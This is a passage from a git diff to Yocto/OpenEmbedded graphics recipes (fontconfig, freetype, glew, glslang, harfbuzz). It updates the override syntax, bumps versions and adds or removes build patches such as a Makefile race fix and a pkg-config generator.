LIC_FILES_CHKSUM = "file://COPYING;md5=7a0449e9bc5370402a94c00204beca3d \
file://src/fcfreetype.c;endline=45;md5=5d9513e3196a1fbfdfa94051c09dfc84 \
file://src/fccache.c;beginline=1671;endline=1686;md5=0326cfeb4a7333dd4dd25fbbc4b9f27f"
@@ -29,33 +29,33 @@ SRC_URI[sha256sum] = "9f0d852b39d75fc655f9f53850eb32555394f36104a044bb2b2fc9e66d
UPSTREAM_CHECK_REGEX = "fontconfig-(?P<pver>\d+\.\d+\.(?!9\d+)\d+)"
-do_configure_prepend() {
+do_configure:prepend() {
# work around https://bugs.freedesktop.org/show_bug.cgi?id=101280
rm -f ${S}/src/fcobjshash.h ${S}/src/fcobjshash.gperf
}
-do_install_append_class-target() {
+do_install:append:class-target() {
# duplicate fc-cache for postinstall script
mkdir -p ${D}${libexecdir}
ln ${D}${bindir}/fc-cache ${D}${libexecdir}/${MLPREFIX}fc-cache
}
-do_install_append_class-nativesdk() {
+do_install:append:class-nativesdk() {
# duplicate fc-cache for postinstall script
mkdir -p ${D}${libexecdir}
ln ${D}${bindir}/fc-cache ${D}${libexecdir}/${MLPREFIX}fc-cache
}
PACKAGES =+ "fontconfig-utils"
-FILES_${PN} =+ "${datadir}/xml/*"
-FILES_${PN}-dev += "${datadir}/gettext/*"
-FILES_fontconfig-utils = "${bindir}/* ${libexecdir}/*"
+FILES:${PN} =+ "${datadir}/xml/*"
+FILES:${PN}-dev += "${datadir}/gettext/*"
+FILES:fontconfig-utils = "${bindir}/* ${libexecdir}/*"
# Work around past breakage in debian.bbclass
-RPROVIDES_fontconfig-utils = "libfontconfig-utils"
-RREPLACES_fontconfig-utils = "libfontconfig-utils"
-RCONFLICTS_fontconfig-utils = "libfontconfig-utils"
-DEBIAN_NOAUTONAME_fontconfig-utils = "1"
+RPROVIDES:fontconfig-utils = "libfontconfig-utils"
+RREPLACES:fontconfig-utils = "libfontconfig-utils"
+RCONFLICTS:fontconfig-utils = "libfontconfig-utils"
+DEBIAN_NOAUTONAME:fontconfig-utils = "1"
inherit autotools pkgconfig relative_symlinks gettext
diff --git a/meta/recipes-graphics/freetype/freetype/use-right-libtool.patch b/meta/recipes-graphics/freetype/freetype/use-right-libtool.patch
deleted file mode 100644
index 3368f7ddd3..0000000000
--- a/meta/recipes-graphics/freetype/freetype/use-right-libtool.patch
+++ /dev/null
@@ -1,14 +0,0 @@
-Freetype think that it knows best about where libtool is, and explicitly the
-libtool autoconf macros telling it where to find the libtool script. Of course
-we prefix the script with the target triplet, so it's wrong. Fix this by
-removing the forced assignment, so the configure script's knowledge of where it
-put libtool is used.
-
-Upstream-Status: Pending
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
---- freetype-2.6/builds/unix/unix-cc.in.orig 2016-01-07 19:21:45.244943479 +0000
-+++ freetype-2.6/builds/unix/unix-cc.in 2016-01-07 19:21:50.213112131 +0000
-@@ -19,1 +18,1 @@
--LIBTOOL := $(FT_LIBTOOL_DIR)/libtool
-+LIBTOOL := $(FT_LIBTOOL_DIR)/@LIBTOOL@ --tag CC
diff --git a/meta/recipes-graphics/freetype/freetype_2.10.1.bb b/meta/recipes-graphics/freetype/freetype_2.10.1.bb
deleted file mode 100644
index b179a0ed47..0000000000
--- a/meta/recipes-graphics/freetype/freetype_2.10.1.bb
+++ /dev/null
@@ -1,47 +0,0 @@
-SUMMARY = "Freetype font rendering library"
-DESCRIPTION = "FreeType is a software font engine that is designed to be small, efficient, \
-highly customizable, and portable while capable of producing high-quality output (glyph \
-images). It can be used in graphics libraries, display servers, font conversion tools, text \
-image generation tools, and many other products as well."
-HOMEPAGE = "http://www.freetype.org/"
-BUGTRACKER = "https://savannah.nongnu.org/bugs/?group=freetype"
-SECTION = "libs"
-
-LICENSE = "FreeType | GPLv2+"
-LIC_FILES_CHKSUM = "file://docs/LICENSE.TXT;md5=4af6221506f202774ef74f64932878a1 \
- file://docs/FTL.TXT;md5=9f37b4e6afa3fef9dba8932b16bd3f97 \
- file://docs/GPLv2.TXT;md5=8ef380476f642c20ebf40fecb0add2ec"
-
-SRC_URI = "${SAVANNAH_NONGNU_MIRROR}/${BPN}/${BP}.tar.xz \
- file://use-right-libtool.patch \
- "
-SRC_URI[md5sum] = "bd42e75127f8431923679480efb5ba8f"
-SRC_URI[sha256sum] = "16dbfa488a21fe827dc27eaf708f42f7aa3bb997d745d31a19781628c36ba26f"
-
-UPSTREAM_CHECK_REGEX = "freetype-(?P<pver>\d+(\.\d+)+)"
-
-inherit autotools pkgconfig multilib_header
-
-# Adapt autotools to work with the minimal autoconf usage in freetype
-AUTOTOOLS_SCRIPT_PATH = "${S}/builds/unix"
-CONFIGURE_SCRIPT = "${S}/configure"
-EXTRA_AUTORECONF += "--exclude=autoheader --exclude=automake"
-
-PACKAGECONFIG ??= "zlib"
-
-PACKAGECONFIG[bzip2] = "--with-bzip2,--without-bzip2,bzip2"
-# harfbuzz results in a circular dependency so enabling is non-trivial
-PACKAGECONFIG[harfbuzz] = "--with-harfbuzz,--without-harfbuzz,harfbuzz"
-PACKAGECONFIG[pixmap] = "--with-png,--without-png,libpng"
-PACKAGECONFIG[zlib] = "--with-zlib,--without-zlib,zlib"
-PACKAGECONFIG[freetypeconfig] = "--enable-freetype-config=yes,--enable-freetype-config=no,"
-
-EXTRA_OECONF = "CC_BUILD='${BUILD_CC}'"
-
-TARGET_CPPFLAGS += "-D_FILE_OFFSET_BITS=64"
-
-do_install_append() {
- oe_multilib_header freetype2/freetype/config/ftconfig.h
-}
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/freetype/freetype_2.11.1.bb b/meta/recipes-graphics/freetype/freetype_2.11.1.bb
new file mode 100644
index 0000000000..5055ff185c
--- /dev/null
+++ b/meta/recipes-graphics/freetype/freetype_2.11.1.bb
@@ -0,0 +1,44 @@
+SUMMARY = "Freetype font rendering library"
+DESCRIPTION = "FreeType is a software font engine that is designed to be small, efficient, \
+highly customizable, and portable while capable of producing high-quality output (glyph \
+images). It can be used in graphics libraries, display servers, font conversion tools, text \
+image generation tools, and many other products as well."
+HOMEPAGE = "http://www.freetype.org/"
+BUGTRACKER = "https://savannah.nongnu.org/bugs/?group=freetype"
+SECTION = "libs"
+
+LICENSE = "FTL | GPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://LICENSE.TXT;md5=a5927784d823d443c6cae55701d01553 \
+ file://docs/FTL.TXT;md5=9f37b4e6afa3fef9dba8932b16bd3f97 \
+ file://docs/GPLv2.TXT;md5=8ef380476f642c20ebf40fecb0add2ec"
+
+SRC_URI = "${SAVANNAH_NONGNU_MIRROR}/${BPN}/${BP}.tar.xz"
+SRC_URI[sha256sum] = "3333ae7cfda88429c97a7ae63b7d01ab398076c3b67182e960e5684050f2c5c8"
+
+UPSTREAM_CHECK_REGEX = "freetype-(?P<pver>\d+(\.\d+)+)"
+
+inherit autotools pkgconfig multilib_header
+
+# Adapt autotools to work with the minimal autoconf usage in freetype
+AUTOTOOLS_SCRIPT_PATH = "${S}/builds/unix"
+CONFIGURE_SCRIPT = "${S}/configure"
+EXTRA_AUTORECONF += "--exclude=autoheader --exclude=automake"
+
+PACKAGECONFIG ??= "zlib pixmap"
+
+PACKAGECONFIG[bzip2] = "--with-bzip2,--without-bzip2,bzip2"
+# harfbuzz results in a circular dependency so enabling is non-trivial
+PACKAGECONFIG[harfbuzz] = "--with-harfbuzz,--without-harfbuzz,harfbuzz"
+PACKAGECONFIG[pixmap] = "--with-png,--without-png,libpng"
+PACKAGECONFIG[zlib] = "--with-zlib,--without-zlib,zlib"
+PACKAGECONFIG[freetypeconfig] = "--enable-freetype-config=yes,--enable-freetype-config=no,"
+
+EXTRA_OECONF = "CC_BUILD='${BUILD_CC}'"
+
+TARGET_CPPFLAGS += "-D_FILE_OFFSET_BITS=64"
+
+do_install:append() {
+ oe_multilib_header freetype2/freetype/config/ftconfig.h
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/glew/glew/0001-Fix-build-race-in-Makefile.patch b/meta/recipes-graphics/glew/glew/0001-Fix-build-race-in-Makefile.patch
new file mode 100644
index 0000000000..2418646689
--- /dev/null
+++ b/meta/recipes-graphics/glew/glew/0001-Fix-build-race-in-Makefile.patch
@@ -0,0 +1,56 @@
+Upstream-Status: Backport [767e0316450911f1158bd4f7fd8dcd066bae5c55]
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+
+From 0ce0a85597db48a2fca619bd95e34af091e54ae8 Mon Sep 17 00:00:00 2001
+From: Ross Burton <ross.burton@arm.com>
+Date: Thu, 22 Jul 2021 16:31:11 +0100
+Subject: [PATCH] Fix build race in Makefile
+
+The current rule for the binaries is:
+
+glew.bin: glew.lib bin bin/$(GLEWINFO.BIN) bin/$(VISUALINFO.BIN)
+
+In parallel builds, all of those targets happen at the same time. This
+means that 'bin' can happen *after* 'bin/$(GLEWINFO.BIN)', which is a
+problem as the 'bin' target's responsibility is to create the directory
+that the other target writes into.
+
+Solve this by not having a separate 'create directory' target which is
+fundamentally racy, and simply mkdir in each target which writes into it.
+---
+ Makefile | 9 ++++-----
+ 1 file changed, 4 insertions(+), 5 deletions(-)
+
+diff --git a/Makefile b/Makefile
+index d0e4614..04af44c 100644
+--- a/Makefile
++++ b/Makefile
+@@ -171,21 +171,20 @@ VISUALINFO.BIN.OBJ := $(VISUALINFO.BIN.OBJ:.c=.o)
+ # Don't build glewinfo or visualinfo for NaCL, yet.
+
+ ifneq ($(filter nacl%,$(SYSTEM)),)
+-glew.bin: glew.lib bin
++glew.bin: glew.lib
+ else
+-glew.bin: glew.lib bin bin/$(GLEWINFO.BIN) bin/$(VISUALINFO.BIN)
++glew.bin: glew.lib bin/$(GLEWINFO.BIN) bin/$(VISUALINFO.BIN)
+ endif
+
+-bin:
+- mkdir bin
+-
+ bin/$(GLEWINFO.BIN): $(GLEWINFO.BIN.OBJ) $(LIB.SHARED.DIR)/$(LIB.SHARED)
++ @mkdir -p $(dir $@)
+ $(CC) $(CFLAGS) -o $@ $(GLEWINFO.BIN.OBJ) $(BIN.LIBS)
+ ifneq ($(STRIP),)
+ $(STRIP) -x $@
+ endif
+
+ bin/$(VISUALINFO.BIN): $(VISUALINFO.BIN.OBJ) $(LIB.SHARED.DIR)/$(LIB.SHARED)
++ @mkdir -p $(dir $@)
+ $(CC) $(CFLAGS) -o $@ $(VISUALINFO.BIN.OBJ) $(BIN.LIBS)
+ ifneq ($(STRIP),)
+ $(STRIP) -x $@
+--
+2.25.1
+
diff --git a/meta/recipes-graphics/glew/glew/0001-Fixed-compilation-with-current-mesa-versions.patch b/meta/recipes-graphics/glew/glew/0001-Fixed-compilation-with-current-mesa-versions.patch
deleted file mode 100644
index 64f3e2fd9b..0000000000
--- a/meta/recipes-graphics/glew/glew/0001-Fixed-compilation-with-current-mesa-versions.patch
+++ /dev/null
@@ -1,73 +0,0 @@
-From 7f65a36866f4e24dd1446fe1c9d21424f28bcabd Mon Sep 17 00:00:00 2001
-From: Deve <deveee@gmail.com>
-Date: Wed, 14 Nov 2018 21:07:29 +0100
-Subject: [PATCH] Fixed compilation with current mesa versions.
-
-As you can see in
-https://cgit.freedesktop.org/mesa/mesa/tree/include/GL/glext.h
-now the file uses __gl_glext_h_ instead of __glext_h_
-It's precisely caused by commit f7d42ee7d319256608ad60778f6787c140badada
-
-Backoprt notes:
-
-* The original patch adjusts auto/src/glew_head.h only
-* include/GL/glew.h is not part of git repo and gets created on tarball
- creation
-
-=> patch include/GL/glew.h either to cause the desired fix
-
-Upstream-Status: Backport [1]
-
-[1] https://github.com/nigels-com/glew/commit/7f65a36866f4e24dd1446fe1c9d21424f28bcabd
-
-Signed-off-by: Andreas Müller <schnitzeltony@gmail.com>
----
- auto/src/glew_head.h | 3 ++-
- include/GL/glew.h | 3 ++-
- 2 files changed, 4 insertions(+), 2 deletions(-)
-
-diff --git a/auto/src/glew_head.h b/auto/src/glew_head.h
-index c19cefb..8f313d9 100644
---- a/auto/src/glew_head.h
-+++ b/auto/src/glew_head.h
-@@ -14,7 +14,7 @@
- #if defined(__REGAL_H__)
- #error Regal.h included before glew.h
- #endif
--#if defined(__glext_h_) || defined(__GLEXT_H_)
-+#if defined(__glext_h_) || defined(__GLEXT_H_) || defined(__gl_glext_h_)
- #error glext.h included before glew.h
- #endif
- #if defined(__gl_ATI_h_)
-@@ -30,6 +30,7 @@
- #define __X_GL_H
- #define __glext_h_
- #define __GLEXT_H_
-+#define __gl_glext_h_
- #define __gl_ATI_h_
-
- #if defined(_WIN32)
-diff --git a/include/GL/glew.h b/include/GL/glew.h
-index b5b6987..a9f9e4b 100644
---- a/include/GL/glew.h
-+++ b/include/GL/glew.h
-@@ -93,7 +93,7 @@
- #if defined(__REGAL_H__)
- #error Regal.h included before glew.h
- #endif
--#if defined(__glext_h_) || defined(__GLEXT_H_)
-+#if defined(__glext_h_) || defined(__GLEXT_H_) || defined(__gl_glext_h_)
- #error glext.h included before glew.h
- #endif
- #if defined(__gl_ATI_h_)
-@@ -109,6 +109,7 @@
- #define __X_GL_H
- #define __glext_h_
- #define __GLEXT_H_
-+#define __gl_glext_h_
- #define __gl_ATI_h_
-
- #if defined(_WIN32)
---
-2.20.1
-
diff --git a/meta/recipes-graphics/glew/glew/no-strip.patch b/meta/recipes-graphics/glew/glew/no-strip.patch
index e411f11cb5..5708d93082 100644
--- a/meta/recipes-graphics/glew/glew/no-strip.patch
+++ b/meta/recipes-graphics/glew/glew/no-strip.patch
@@ -1,7 +1,7 @@
Don't forcibly strip the binaries.
Signed-off-by: Ross Burton <ross.burton@intel.com>
-Upstream-Status: Pending
+Upstream-Status: Backport [d7693eea09ac76c67f5f3aa538bb911ce2291e2c]
diff --git a/Makefile b/Makefile
index 6a9803c..170c0ce 100644
diff --git a/meta/recipes-graphics/glew/glew/notempdir.patch b/meta/recipes-graphics/glew/glew/notempdir.patch
new file mode 100644
index 0000000000..68b46b6641
--- /dev/null
+++ b/meta/recipes-graphics/glew/glew/notempdir.patch
@@ -0,0 +1,21 @@
+We don't use the dist-* targets and hence DIST_DIR isn't used. The current code
+creates a new temp directory in /tmp/ for every invocation of make. Lets
+not do that.
+
+https://github.com/nigels-com/glew/issues/334
+
+Upstream-Status: Pending [a revised version would be needed for upstream]
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Index: glew-2.2.0/Makefile
+===================================================================
+--- glew-2.2.0.orig/Makefile
++++ glew-2.2.0/Makefile
+@@ -56,7 +56,6 @@ DIST_SRC_ZIP ?= $(shell pwd)/$(DIST_NAME
+ DIST_SRC_TGZ ?= $(shell pwd)/$(DIST_NAME).tgz
+ DIST_WIN32 ?= $(shell pwd)/$(DIST_NAME)-win32.zip
+
+-DIST_DIR := $(shell mktemp -d /tmp/glew.XXXXXX)/$(DIST_NAME)
+
+ # To disable stripping of linked binaries either:
+ # - use STRIP= on gmake command-line
diff --git a/meta/recipes-graphics/glew/glew_2.1.0.bb b/meta/recipes-graphics/glew/glew_2.1.0.bb
deleted file mode 100644
index 18e6909aa7..0000000000
--- a/meta/recipes-graphics/glew/glew_2.1.0.bb
+++ /dev/null
@@ -1,45 +0,0 @@
-SUMMARY = "OpenGL extension loading library"
-DESCRIPTION = "The OpenGL Extension Wrangler Library (GLEW) is a cross-platform open-source C/C++ extension loading library."
-HOMEPAGE = "http://glew.sourceforge.net/"
-BUGTRACKER = "http://sourceforge.net/tracker/?group_id=67586"
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=2ac251558de685c6b9478d89be3149c2"
-
-SRC_URI = "${SOURCEFORGE_MIRROR}/project/glew/glew/${PV}/glew-${PV}.tgz \
- file://no-strip.patch \
- file://0001-Fixed-compilation-with-current-mesa-versions.patch"
-
-SRC_URI[md5sum] = "b2ab12331033ddfaa50dc39345343980"
-SRC_URI[sha256sum] = "04de91e7e6763039bc11940095cd9c7f880baba82196a7765f727ac05a993c95"
-
-UPSTREAM_CHECK_URI = "http://sourceforge.net/projects/glew/files/glew"
-UPSTREAM_CHECK_REGEX = "/glew/(?P<pver>(\d+[\.\-_]*)+)/"
-
-inherit lib_package pkgconfig distro_features_check
-
-REQUIRED_DISTRO_FEATURES = "opengl"
-
-PACKAGECONFIG ?= "${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'opengl', 'egl-gles2', d)}"
-
-# The opengl and egl-XXX options are exclusive, enable only one.
-PACKAGECONFIG[opengl] = "SYSTEM='linux',,virtual/libx11 virtual/libgl libglu libxext libxi libxmu"
-PACKAGECONFIG[egl-gles2] = "SYSTEM='linux-egl' GLEW_NO_GLU='-DGLEW_NO_GLU' LDFLAGS.GL='-lEGL -lGLESv2',,virtual/egl virtual/libgles2"
-
-CFLAGS += "-D_GNU_SOURCE"
-# Override SYSTEM (via PACKAGECONFIG_CONFARGS) to avoid calling config.guess,
-# we're cross-compiling. Pass our CFLAGS via POPT as that's the optimisation
-# variable and safely overwritten.
-EXTRA_OEMAKE = "${PACKAGECONFIG_CONFARGS} \
- CC='${CC}' LD='${CC}' STRIP='' \
- LDFLAGS.EXTRA='${LDFLAGS}' \
- POPT='${CFLAGS}' \
- GLEW_PREFIX='${prefix}' BINDIR='${bindir}' \
- LIBDIR='${libdir}' INCDIR='${includedir}/GL' PKGDIR='${libdir}/pkgconfig'"
-
-do_compile() {
- oe_runmake
-}
-
-do_install() {
- oe_runmake 'DESTDIR=${D}' install.all
-}
diff --git a/meta/recipes-graphics/glew/glew_2.2.0.bb b/meta/recipes-graphics/glew/glew_2.2.0.bb
new file mode 100644
index 0000000000..d7a26a3438
--- /dev/null
+++ b/meta/recipes-graphics/glew/glew_2.2.0.bb
@@ -0,0 +1,46 @@
+SUMMARY = "OpenGL extension loading library"
+DESCRIPTION = "The OpenGL Extension Wrangler Library (GLEW) is a cross-platform open-source C/C++ extension loading library."
+HOMEPAGE = "http://glew.sourceforge.net/"
+BUGTRACKER = "http://sourceforge.net/tracker/?group_id=67586"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=2ac251558de685c6b9478d89be3149c2"
+
+SRC_URI = "${SOURCEFORGE_MIRROR}/project/glew/glew/${PV}/glew-${PV}.tgz \
+ file://0001-Fix-build-race-in-Makefile.patch \
+ file://notempdir.patch \
+ file://no-strip.patch"
+
+SRC_URI[md5sum] = "3579164bccaef09e36c0af7f4fd5c7c7"
+SRC_URI[sha256sum] = "d4fc82893cfb00109578d0a1a2337fb8ca335b3ceccf97b97e5cc7f08e4353e1"
+
+UPSTREAM_CHECK_URI = "http://sourceforge.net/projects/glew/files/glew"
+UPSTREAM_CHECK_REGEX = "/glew/(?P<pver>(\d+[\.\-_]*)+)/"
+
+inherit lib_package pkgconfig features_check
+
+REQUIRED_DISTRO_FEATURES = "opengl"
+
+PACKAGECONFIG ?= "${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'opengl', 'egl-gles2', d)}"
+
+# The opengl and egl-XXX options are exclusive, enable only one.
+PACKAGECONFIG[opengl] = "SYSTEM='linux',,virtual/libx11 virtual/libgl libglu libxext libxi libxmu,,,egl-gles2"
+PACKAGECONFIG[egl-gles2] = "SYSTEM='linux-egl' GLEW_NO_GLU='-DGLEW_NO_GLU' LDFLAGS.GL='-lEGL -lGLESv2',,virtual/egl virtual/libgles2,,,opengl"
+
+CFLAGS += "-D_GNU_SOURCE"
+# Override SYSTEM (via PACKAGECONFIG_CONFARGS) to avoid calling config.guess,
+# we're cross-compiling. Pass our CFLAGS via POPT as that's the optimisation
+# variable and safely overwritten.
+EXTRA_OEMAKE = "${PACKAGECONFIG_CONFARGS} \
+ CC='${CC}' LD='${CC}' STRIP='' \
+ LDFLAGS.EXTRA='${LDFLAGS}' \
+ POPT='${CFLAGS}' \
+ GLEW_PREFIX='${prefix}' BINDIR='${bindir}' \
+ LIBDIR='${libdir}' INCDIR='${includedir}/GL' PKGDIR='${libdir}/pkgconfig'"
+
+do_compile() {
+ oe_runmake
+}
+
+do_install() {
+ oe_runmake 'DESTDIR=${D}' install.all
+}
diff --git a/meta/recipes-graphics/glslang/glslang/0001-generate-glslang-pkg-config.patch b/meta/recipes-graphics/glslang/glslang/0001-generate-glslang-pkg-config.patch
new file mode 100644
index 0000000000..cddd330971
--- /dev/null
+++ b/meta/recipes-graphics/glslang/glslang/0001-generate-glslang-pkg-config.patch
@@ -0,0 +1,47 @@
+From 6692611126b40d499c94bbcc8e29604560262072 Mon Sep 17 00:00:00 2001
+From: Jose Quaresma <quaresma.jose@gmail.com>
+Date: Sun, 7 Feb 2021 01:30:39 +0000
+Subject: [PATCH] generate glslang pkg-config
+
+Based on https://src.fedoraproject.org/rpms/glslang/blob/main/f/0001-pkg-config-compatibility.patch
+
+Upstream-Status: Pending
+
+Signed-off-by: Jose Quaresma <quaresma.jose@gmail.com>
+
+---
+ glslang/CMakeLists.txt | 2 ++
+ glslang/glslang.pc.cmake.in | 11 +++++++++++
+ 2 files changed, 13 insertions(+)
+ create mode 100644 glslang/glslang.pc.cmake.in
+
+diff --git a/glslang/CMakeLists.txt b/glslang/CMakeLists.txt
+index 1c7d22a2..10c1e841 100644
+--- a/glslang/CMakeLists.txt
++++ b/glslang/CMakeLists.txt
+@@ -209,6 +209,8 @@ if(ENABLE_GLSLANG_INSTALL)
+ EXPORT glslangTargets
+ ARCHIVE DESTINATION ${CMAKE_INSTALL_LIBDIR})
+ endif()
++ configure_file(${CMAKE_CURRENT_SOURCE_DIR}/glslang.pc.cmake.in ${CMAKE_CURRENT_BINARY_DIR}/pkgconfig/glslang.pc @ONLY)
++ install(FILES ${CMAKE_CURRENT_BINARY_DIR}/pkgconfig/glslang.pc DESTINATION ${CMAKE_INSTALL_LIBDIR}/pkgconfig)
+
+ install(EXPORT glslangTargets DESTINATION ${CMAKE_INSTALL_LIBDIR}/cmake)
+
+diff --git a/glslang/glslang.pc.cmake.in b/glslang/glslang.pc.cmake.in
+new file mode 100644
+index 00000000..64b6882d
+--- /dev/null
++++ b/glslang/glslang.pc.cmake.in
+@@ -0,0 +1,11 @@
++prefix=@CMAKE_INSTALL_PREFIX@
++exec_prefix=@CMAKE_INSTALL_PREFIX@
++libdir=${exec_prefix}/@CMAKE_INSTALL_LIBDIR@
++includedir=${prefix}/@CMAKE_INSTALL_INCLUDEDIR@
++
++Name: @PROJECT_NAME@
++Description: OpenGL and OpenGL ES shader front end and validator
++Requires:
++Version: @GLSLANG_VERSION@
++Libs: -L${libdir} -lglslang -lOSDependent -lHLSL -lOGLCompiler -lSPVRemapper
++Cflags: -I${includedir}
diff --git a/meta/recipes-graphics/glslang/glslang_1.3.204.1.bb b/meta/recipes-graphics/glslang/glslang_1.3.204.1.bb
new file mode 100644
index 0000000000..2af406212f
--- /dev/null
+++ b/meta/recipes-graphics/glslang/glslang_1.3.204.1.bb
@@ -0,0 +1,32 @@
+SUMMARY = "OpenGL / OpenGL ES Reference Compiler"
+DESCRIPTION = "Glslang is the official reference compiler front end for the \
+OpenGL ES and OpenGL shading languages. It implements a strict interpretation \
+of the specifications for these languages. It is open and free for anyone to use, \
+either from a command line or programmatically."
+SECTION = "graphics"
+HOMEPAGE = "https://www.khronos.org/opengles/sdk/tools/Reference-Compiler"
+LICENSE = "BSD-3-Clause & BSD-2-Clause & MIT & Apache-2.0 & GPL-3-with-bison-exception"
+LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=2a2b5acd7bc4844964cfda45fe807dc3"
+
+SRCREV = "2742e959347ae2fac58acd0d022c92a0ff1f24bf"
+SRC_URI = "git://github.com/KhronosGroup/glslang.git;protocol=https;branch=master \
+ file://0001-generate-glslang-pkg-config.patch"
+PE = "1"
+UPSTREAM_CHECK_GITTAGREGEX = "sdk-(?P<pver>\d+(\.\d+)+)"
+S = "${WORKDIR}/git"
+
+inherit cmake python3native
+
+EXTRA_OECMAKE = " \
+ -DCMAKE_BUILD_TYPE=Release \
+ -DBUILD_SHARED_LIBS=ON \
+ -DENABLE_PCH=OFF \
+ -DENABLE_CTEST=OFF \
+ -DBUILD_EXTERNAL=OFF \
+"
+
+SOLIBSDEV = "glslang.so"
+# all the other libraries are unversioned, so pack it on PN
+FILES:${PN} += "${libdir}/*.so"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/harfbuzz/harfbuzz_2.6.1.bb b/meta/recipes-graphics/harfbuzz/harfbuzz_2.6.1.bb
deleted file mode 100644
index 99cd4cd708..0000000000
--- a/meta/recipes-graphics/harfbuzz/harfbuzz_2.6.1.bb
+++ /dev/null
@@ -1,40 +0,0 @@
-SUMMARY = "Text shaping library"
-DESCRIPTION = "HarfBuzz is an OpenType text shaping engine."
-HOMEPAGE = "http://www.freedesktop.org/wiki/Software/HarfBuzz"
-BUGTRACKER = "https://bugs.freedesktop.org/enter_bug.cgi?product=HarfBuzz"
-SECTION = "libs"
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://COPYING;md5=e11f5c3149cdec4bb309babb020b32b9 \
- file://src/hb-ucd.cc;beginline=1;endline=15;md5=29d4dcb6410429195df67efe3382d8bc"
-
-SRC_URI = "http://www.freedesktop.org/software/harfbuzz/release/${BP}.tar.xz"
-SRC_URI[md5sum] = "89b758a2eb14d56a94406cf914b62388"
-SRC_URI[sha256sum] = "c651fb3faaa338aeb280726837c2384064cdc17ef40539228d88a1260960844f"
-
-inherit autotools pkgconfig lib_package gtk-doc
-
-PACKAGECONFIG ??= "cairo fontconfig freetype glib icu"
-PACKAGECONFIG[cairo] = "--with-cairo,--without-cairo,cairo"
-PACKAGECONFIG[fontconfig] = "--with-fontconfig,--without-fontconfig,fontconfig"
-PACKAGECONFIG[freetype] = "--with-freetype,--without-freetype,freetype"
-PACKAGECONFIG[glib] = "--with-glib,--without-glib,glib-2.0"
-PACKAGECONFIG[graphite] = "--with-graphite2,--without-graphite2,graphite2"
-PACKAGECONFIG[icu] = "--with-icu,--without-icu,icu"
-
-PACKAGES =+ "${PN}-icu ${PN}-icu-dev"
-
-LEAD_SONAME = "libharfbuzz.so"
-
-do_install_append() {
- # If no tools are installed due to PACKAGECONFIG then this directory is
- #still installed, so remove it to stop packaging wanings.
- rmdir --ignore-fail-on-non-empty ${D}${bindir}
-}
-
-FILES_${PN}-icu = "${libdir}/libharfbuzz-icu.so.*"
-FILES_${PN}-icu-dev = "${libdir}/libharfbuzz-icu.la \
- ${libdir}/libharfbuzz-icu.so \
- ${libdir}/pkgconfig/harfbuzz-icu.pc \
-"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/harfbuzz/harfbuzz_4.0.1.bb b/meta/recipes-graphics/harfbuzz/harfbuzz_4.0.1.bb
new file mode 100644
index 0000000000..bf77a5e56c
--- /dev/null
+++ b/meta/recipes-graphics/harfbuzz/harfbuzz_4.0.1.bb
@@ -0,0 +1,48 @@
+SUMMARY = "Text shaping library"
+DESCRIPTION = "HarfBuzz is an OpenType text shaping engine."
+HOMEPAGE = "http://www.freedesktop.org/wiki/Software/HarfBuzz"
+BUGTRACKER = "https://bugs.freedesktop.org/enter_bug.cgi?product=HarfBuzz"
+SECTION = "libs"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=6ee0f16281694fb6aa689cca1e0fb3da \
+ file://src/hb-ucd.cc;beginline=1;endline=15;md5=29d4dcb6410429195df67efe3382d8bc \
+ "
+
+UPSTREAM_CHECK_URI = "https://github.com/${BPN}/${BPN}/releases"
+UPSTREAM_CHECK_REGEX = "harfbuzz-(?P<pver>\d+(\.\d+)+).tar"
+
+SRC_URI = "https://github.com/${BPN}/${BPN}/releases/download/${PV}/${BPN}-${PV}.tar.xz"
+SRC_URI[sha256sum] = "98f68777272db6cd7a3d5152bac75083cd52a26176d87bc04c8b3929d33bce49"
+
+inherit meson pkgconfig lib_package gtk-doc gobject-introspection
+
+GIR_MESON_ENABLE_FLAG = 'enabled'
+GIR_MESON_DISABLE_FLAG = 'disabled'
+GTKDOC_MESON_ENABLE_FLAG = 'enabled'
+GTKDOC_MESON_DISABLE_FLAG = 'disabled'
+
+PACKAGECONFIG ??= "cairo freetype glib icu"
+PACKAGECONFIG[cairo] = "-Dcairo=enabled,-Dcairo=disabled,cairo"
+PACKAGECONFIG[freetype] = "-Dfreetype=enabled,-Dfreetype=disabled,freetype"
+PACKAGECONFIG[glib] = "-Dglib=enabled,-Dglib=disabled,glib-2.0"
+PACKAGECONFIG[graphite] = "-Dgraphite=enabled,-Dgraphite=disabled,graphite2"
+PACKAGECONFIG[icu] = "-Dicu=enabled,-Dicu=disabled,icu"
+
+PACKAGES =+ "${PN}-icu ${PN}-icu-dev ${PN}-subset"
+
+LEAD_SONAME = "libharfbuzz.so"
+
+do_install:append() {
+ # If no tools are installed due to PACKAGECONFIG then this directory is
+ #still installed, so remove it to stop packaging wanings.
+ rmdir --ignore-fail-on-non-empty ${D}${bindir}
+}
+
+FILES:${PN}-icu = "${libdir}/libharfbuzz-icu.so.*"
+FILES:${PN}-icu-dev = "${libdir}/libharfbuzz-icu.la \
+ ${libdir}/libharfbuzz-icu.so \
+ ${libdir}/pkgconfig/harfbuzz-icu.pc \
+"
+FILES:${PN}-subset = "${libdir}/libharfbuzz-subset.so.*"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/igt-gpu-tools/igt-gpu-tools/0001-lib-meson.build-fix-meson-0.60-compatibility.patch b/meta/recipes-graphics/igt-gpu-tools/igt-gpu-tools/0001-lib-meson.build-fix-meson-0.60-compatibility.patch
new file mode 100644
index 0000000000..e7c782055b
--- /dev/null
